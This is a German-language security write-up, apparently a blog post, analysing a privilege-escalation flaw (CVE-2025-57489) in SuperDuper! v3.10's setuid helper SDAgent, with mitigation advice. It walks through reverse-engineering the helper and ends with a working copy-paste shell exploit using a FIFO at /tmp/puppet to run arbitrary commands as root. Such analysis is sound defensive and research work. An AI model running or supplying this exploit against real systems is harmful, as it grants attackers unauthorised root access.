Technische Analyse und Proof-of-Concept-Exploit für CVE-2025-57489, eine Privilege-Escalation-Schwachstelle in SuperDuper! v3.10 durch fehlerhaftes Design der setuid-Binärdatei, was die Ausführung beliebiger Root-Befehle ermöglicht.
Aus dem Blog des Entwicklers:
Wenn die Sperre in SuperDuper entsperrt wird, um die Ausführung ohne Eingabe eines Administratorkennworts zu ermöglichen, könnte ein Drittanbieterprogramm unsere Autorisierung nutzen, um etwas anderes als ein Backup mit Administratorrechten auszuführen.
CVE-Beschreibung:
Fehlerhafte Zugriffskontrolle in der SDAgent-Komponente von Shirt Pocket SuperDuper! v3.10 ermöglicht es Angreifern, durch die unsachgemäße Verwendung einer setuid-Binärdatei Rechte auf root zu eskalieren.
Dieser Autor ist nicht der Entdecker der Schwachstelle, der vom SuperDuper-Entwickler als „anonymer Sicherheitsforscher“ identifiziert wird. Ich beanspruche keine Anerkennung für die Entdeckung dieser Schwachstelle, ich habe nur Interesse daran gefunden, eine technische Analyse durchzuführen.
CVSS 3.1 Score: 8.1: High (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H)
Um diese Schwachstelle zu vermeiden, löschen Sie entweder die SuperDuper!-Anwendung oder installieren Sie das Update 3.11.
Warnung: Sie müssen das Update direkt von der Website des Entwicklers herunterladen, um die Schwachstelle CVE-2025-61228 zu vermeiden.
Diese Exploit-Analyse und der Proof of Concept dienen ausschließlich zu Bildungszwecken. Die Nutzung erfolgt auf eigenes Risiko.
Die SDAgent-Komponente der SuperDuper!-Anwendung ist eine setuid-Binärdatei. Aufgrund eines schlechten Designs/Implementierung existiert der SDAgent nur, um Shell-Befehle auszuführen, die von einer anderen Anwendung angefordert werden. Der SDAgent scheint keine Überprüfung der anfordernden Anwendung durchzuführen und auch keine Schutzmechanismen zu implementieren, welche Arten von Shell-Befehlen angefordert werden können. Infolgedessen können Angreifer betroffene Versionen des SDAgent-Tools dazu bringen, beliebige Shell-Befehle mit Root-Rechten auszuführen. Der Fix des Entwicklers adressiert nur das Versäumnis des SDAgent, den Anforderer zu überprüfen, nicht das Design des „Puppet“-Hilfswerkzeugs, sodass der Agent möglicherweise anfällig für zukünftige Angriffe bleibt.
Die Beschreibung des Entwicklers zu diesem Problem war vage, aber der Kommentar „Wenn die Sperre in SuperDuper entsperrt ist“ hat mich ziemlich schnell in die richtige Richtung gelenkt. Beginnend mit einer älteren (noch anfälligen) Version von SuperDuper klickte ich auf das Schloss-Symbol und authentifizierte mich. Im Aktivitätsmonitor bemerkte ich, dass ein neuer Prozess im Zusammenhang mit SuperDuper erschien – SDAgent. Ich fand diese Komponente in der SuperDuper-Bundle-Datei und sah mir ihre Attribute im Terminal an. Nachdem ich die Sperre ein-/ausgeschaltet hatte, bemerkte ich, dass die SDAgent-Datei eine setuid-Binärdatei ist, wenn die Sperre entsperrt ist. Angesichts dieses Attributs und des Dateinamens schloss ich daraus, dass dies ein „privilegiertes Hilfswerkzeug“ sein muss, obwohl es für diesen Zweck etwas klein schien.
Setuid ist eine sehr alte Form der Rechteausweitung, und normalerweise würde man entweder alle „Root benötigten“ Funktionen in das Hilfswerkzeug einbauen und es einfach bitten, seine Aufgabe zu erfüllen, oder man entwickelt einen Kommunikationspfad, der es einer Client-Anwendung ermöglicht, spezifische Anfragen an das Hilfswerkzeug zu stellen. Aber angesichts der geringen Größe dieser SDAgent-Datei (nur 137 KB) scheint es unwahrscheinlich, dass sie den gesamten Root-Code für das, was diese Anwendung zu tun vorgibt, enthält. Meine Neugier war geweckt, also führte ich das Dienstprogramm „strings“ auf dem SDAgent aus, um eine Vorstellung davon zu bekommen, was er tun soll. Dies stellte sich als sehr aufschlussreich heraus. Es gab praktisch keine Ausgabe (im Vergleich zu dem, was man normalerweise für eine Anwendungsbinärdatei sehen würde), und die Ausgabe deutet im Wesentlichen darauf hin, dass der SDAgent nur eine Funktion hat: jedes vom Anforderer bereitgestellte Shell-Skript auszuführen, z.B.:
% strings /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent
...
/bin/bash
bash
SDAgent could not fork process
****DONE****
Es ist ein schlechtes Design, ein Hilfswerkzeug zu erstellen, das buchstäblich jeden Befehl ausführt; „Sei keine Marionette“ ist eine wichtige Regel, die man bei der Erstellung eines Hilfswerkzeugs beachten sollte.
Ich ging davon aus, dass SuperDuper den SDAgent öffnen, eine Kommunikationspipe einrichten und dann Shell-Skripte an den SDAgent senden muss. Ein kurzes Herumstöbern im SuperDuper-Anwendungsbundle zeigte, dass ich auf dem richtigen Weg war. Diese Anwendung scheint alle ihre Kopieraktivitäten über Shell-Skripte zu verwalten.
Ich unternahm einige schwache Versuche, dem Agenten einfach Befehle zu pipen:
printf "whoami" | /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent
zsh: done printf "whoami" |
zsh: segmentation fault /Applications/SuperDuper!.app/Contents/MacOS/SDAgent
SDAgent ist abgestürzt; ich vermute, es wird nicht so einfach sein! Unbeirrt begann ich, einige Vermutungen anzustellen, wie setuid-Hilfs-Apps typischerweise funktionieren. Zwischen einem Paar von Shell-Dienstprogrammen würde man normalerweise einige Pipes für stdin, stdout und stderr erstellen, dann fork und exec. Der Kindprozess würde eine Kopie jeder Pipe erben, sodass jede Seite automatisch Kommunikationspipes zur anderen öffnen würde. Bei einer Anwendung, die mit Frameworks auf höherer Ebene verknüpft ist, ist fork() keine Option. Stattdessen müsste man eine Möglichkeit entwickeln, der Kindanwendung mitzuteilen, wie man mit ihr kommunizieren möchte. Die Ausgabe von „strings“ lieferte einen Hinweis:
strings /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent
...
STDIN_PIPE_READ_FD
%i %i %i
„STDIN_PIPE_READ_FD“ – der Entwickler ist sehr transparent darüber, was hier passiert. Wir können mit otool etwas mehr Kontext zu dieser Zeichenkette erhalten:
otool -tV /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent
/Applications/SuperDuper!.app/Contents/MacOS/SDAgent:
...
00000001000011a8 leaq 0xa56(%rip), %rdi ## literal pool for: "STDIN_PIPE_READ_FD"
00000001000011af callq 0x1000017f6 ## symbol stub for: _getenv
OK, es ist also wahrscheinlich eine Umgebungsvariable. Versuchen wir es erneut mit dem einfachen Pipe-Hack, und ich nehme an, dass der SDAgent meine Befehle einfach von seinem stdin-Dateideskriptor (0) empfängt:
export STDIN_PIPE_READ_FD=0
printf "whoami" | /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent
1557%
Nach einigen Wiederholungen wurde klar, dass „1557“ die Prozess-ID des erzeugten SDAgent war. Nicht sehr hilfreich (und nicht die „root“-Ausgabe, die ich erwartet hatte), aber es ist diesmal nicht abgestürzt, was ermutigend war. Ich versuchte es erneut mit etwas, das eine Dateisystemänderung bewirken würde:
printf "touch /Library/test" | /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent
1593%
Nein, die Datei wurde nicht erstellt; Zeit, die Ärmel hochzukrempeln. Ich deaktivierte SIP, startete dtruss und ließ SuperDuper eine Aufgabe ausführen. Direkt nach der Authentifizierung zum Starten der Aufgabe sah ich die folgende Ausgabe von dtruss (an den SDAgent-Prozess angehängt):
read(0x0, "21 23 24 \0", 0x800) = 9 0
dup2(0x15, 0x1, 0x0) = 1 0
dup2(0x17, 0x2, 0x0) = 2 0
write(0x1, "1615\0", 0x4) = 4 0
SDAgent liest zunächst von Dateideskriptor 0 (stdin) nach Eingabe (wahrscheinlich den FD, der durch STDIN_PIPE_READ_FD angegeben wird). Hier sehen wir, dass er drei Zahlen einliest. Basierend auf der Abfolge vermute ich, dass SuperDuper drei Pipes geöffnet und die Schreib-, Schreib- und Leseenden dieser drei Pipes an SDAgent gesendet hat. SDAgent dupliziert dann die ersten beiden nach stdout und stderr (ich kann nicht sagen, wofür die dritte verwendet wird). Schließlich schreibt er „1615“ (die aktuelle SDAgent-PID) nach stdout (damit SuperDuper jetzt die SDAgent-PID kennt) und wartet dann auf zusätzliche Befehle auf fd 0. Nach einigem Ausprobieren wurde klar, dass wir SDAgent einige Dateideskriptoren senden müssen, bevor er unseren Willen tut. stdout (1) und stderr (2) werden in der Shell-Umgebung bereits offen und beschreibbar sein, also versuchte ich es damit:
printf "1 2 \0whoami\0" | /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent
~ % 1602
Auch hier kein Absturz, aber wie ein eifriger Teenager beendet SDAgent frühzeitig und ich erhalte nicht das erwartete „root“-Ergebnis. dtruss zeigt, dass er die Dateideskriptoren liest, aber den Rest ignoriert. Das ist angesichts des Null-Terminators der Zeichenkette nicht überraschend; wir brauchen wahrscheinlich eine Lücke zwischen diesen Zeichenketten, damit SDAgent sie als separate Anfragen behandelt. Also müssen wir SDAgent an eine Pipe anschließen, in die wir mehrmals schreiben können.
An diesem Punkt könnte ich eine einfache C-Anwendung schreiben, die einige Pipes öffnet, den SDAgent abspaltet, die Dateideskriptoren in die stdin-Pipe schreibt und dann nach einer kurzen Pause seine Argumente (d.h. die Angriffsnutzlast) an die Pipe sendet, um sie auszuführen. Als ich begann, diesen Code zu schreiben, fiel mir ein, dass ich die gesamte Funktionalität dieser 50+ Zeilen kompilierten Codes wahrscheinlich mit einem Paar einfacher Shell-Befehle erreichen könnte. Ich brauche wirklich nur eine Methode, um eine Pipe zum SDAgent-Prozess aufzubauen und offen zu halten. „mkfifo“ eignet sich für diesen Zweck: Fifos existieren als Dateien auf der Festplatte, aber man kann Pipes darauf setzen. Auf der einen Seite brauchen wir etwas, das vom Fifo liest und den Inhalt dann auf der anderen Seite der Pipe an SDAgent weitergibt. Ich muss die Dateideskriptoren zunächst in die Pipe schreiben, aber ich muss die Pipe auch offen halten, um Nutzlastbefehle senden zu können. Wenn der Prozess auf einer Seite der Pipe beendet wird, schließt sich die Pipe. Das Dienstprogramm tail und der Hintergrundoperator waren hilfreich:
export STDIN_PIPE_READ_FD=0
mkfifo /tmp/puppet
tail -f /tmp/puppet | /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent &
[1] 1964 1965
Das erzeugte zwei Hintergrundjobs: tail (1964) und SDAgent (1965). Beide Prozesse laufen im Hintergrund weiter, sodass die Pipe zwischen ihnen bestehen bleibt. tail wartet auf Daten, die dem Fifo hinzugefügt werden, und leitet diese Daten dann an SDAgent weiter. Fantastisch einfach. Als nächstes senden wir die Dateideskriptoren:
printf "1 2 \0" > /tmp/puppet
dtruss zeigte, dass SDAgent die Dateideskriptoren gelesen hat und dass SDAgent noch läuft und auf weitere Eingaben wartet. Nun zum entscheidenden Moment:
printf 'whoami\0' > /tmp/puppet
~ % root
****DONE****
Es hat funktioniert! Noch einmal?
printf 'touch /Library/test; ls /Library/test\0' > /tmp/puppet
~ % /Library/test
****DONE****
Das war's! Als ich alles in einem einzigen Copy-Paste-Block aus Shell-Befehlen zusammenfügte, stellte ich fest, dass SDAgent bei der Verarbeitung der Dateideskriptoren immer noch etwas langsam war. Eine kurze Verzögerung, und wir sind golden:
export STDIN_PIPE_READ_FD=0
mkfifo /tmp/puppet
tail -f /tmp/puppet | /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent &
printf "1 2 \0" > /tmp/puppet
sleep 1
printf 'whoami\0' > /tmp/puppet
Wie Root-Exploits üblich, war dieser überraschend einfach zu entdecken und für einen Angreifer wirklich leicht auszunutzen.